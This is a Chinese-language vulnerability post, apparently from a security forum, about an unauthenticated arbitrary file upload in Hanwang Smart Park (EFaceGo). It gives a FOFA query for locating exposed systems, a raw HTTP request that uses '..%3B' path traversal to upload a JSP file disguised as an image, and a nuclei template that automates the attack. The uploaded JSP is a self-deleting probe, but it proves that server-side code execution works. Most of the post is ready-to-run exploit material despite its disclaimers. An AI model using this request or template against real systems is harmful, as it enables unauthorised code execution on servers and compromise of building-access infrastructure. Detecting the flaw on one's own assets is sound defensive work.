免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞描述:
uoload.do接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制
影响版本:
FOFA:
title="汉王智慧园区" && body="<link rel=\"icon\" href=\"/logo.png\""
POC:
POST /manage/intercom/..%3B/..%3B/manage/resourceUpload/upload.do HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabcxyzqw
------WebKitFormBoundaryabcxyzqw
Content-Disposition: form-data; name="file"; filename="testaa.jsp"
Content-Type: image/jpeg
<% out.println("asdfqwerzxcvbnmlkjhgtyuipoiuytre"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
------WebKitFormBoundaryabcxyzqw--
nulcei模板:
id: hanwang-upload-arbitrary-file
info:
name: Hanwang EFaceGo Arbitrary File Upload
author: ProjectDiscoveryAI
severity: high
description: |
This template checks for arbitrary file upload vulnerability in Hanwang EFaceGo's upload.do endpoint.
Exploitation allows attackers to upload files to the server, potentially leading to remote code execution.
tags: hanwang,efacego,file-upload,vulnerability
http:
- raw:
- |
POST /manage/intercom/..%3B/..%3B/manage/resourceUpload/upload.do HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabcxyzqw
------WebKitFormBoundaryabcxyzqw
Content-Disposition: form-data; name="file"; filename="testaa.jsp"
Content-Type: image/jpeg
<% out.println("asdfqwerzxcvbnmlkjhgtyuipoiuytre"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
------WebKitFormBoundaryabcxyzqw--
matchers-condition: and
matchers:
- type: word
part: body
words:
- "asdfqwerzxcvbnmlkjhgtyuipoiuytre"
- type: status
status:
- 200
使用nuclei可以快速识别内部资产是否受漏洞影响
——–
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
没有回复内容